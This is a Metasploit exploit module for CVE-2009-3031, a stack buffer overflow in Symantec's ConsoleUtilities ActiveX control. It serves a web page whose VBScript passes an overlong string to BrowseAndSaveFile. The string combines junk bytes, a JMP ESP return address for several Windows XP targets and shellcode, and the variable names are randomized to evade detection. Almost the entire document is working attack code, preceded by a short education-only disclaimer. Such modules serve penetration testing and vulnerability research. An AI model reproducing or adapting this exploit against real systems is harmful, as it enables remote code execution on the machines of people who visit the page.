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##
# Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool.
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Symantecs ConsoleUtilities.
By sending an overly long string to the "BrowseAndSaveFile()" method located
in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Nikolas Sotiriu (lofi)' ],
'Version' => '1.0',
'References' =>
[
[ 'CVE', '2009-3031'],
[ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
[ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
[ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
],
'DisclosureDate' => 'Nov 02 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize variables
vname = rand_text_alpha(rand(20) + 1)
junk = rand_text_alpha(rand(20) + 1)
eip = rand_text_alpha(rand(20) + 1)
morejunk = rand_text_alpha(rand(20) + 1)
sc = rand_text_alpha(rand(20) + 1)
buf = rand_text_alpha(rand(20) + 1)
# Set RET and shellcode
ret = Rex::Text.to_unescape([target.ret].pack('V'))
shellcode = Rex::Text.to_unescape(p.encoded)
# Build the Site
content = %Q|
<html>
<object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
<script language='vbscript'>
arg1 = ""
arg3 = ""
arg4 = ""
arg5 = ""
#{junk}=String(310, "A")
#{eip}=unescape("#{ret}")
#{morejunk}=String(18, unescape("%u0041"))
#{sc}=unescape("#{shellcode}")
#{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
#{vname}.BrowseAndSaveFile arg1,#{buf},arg3,arg4,arg5
</script>
</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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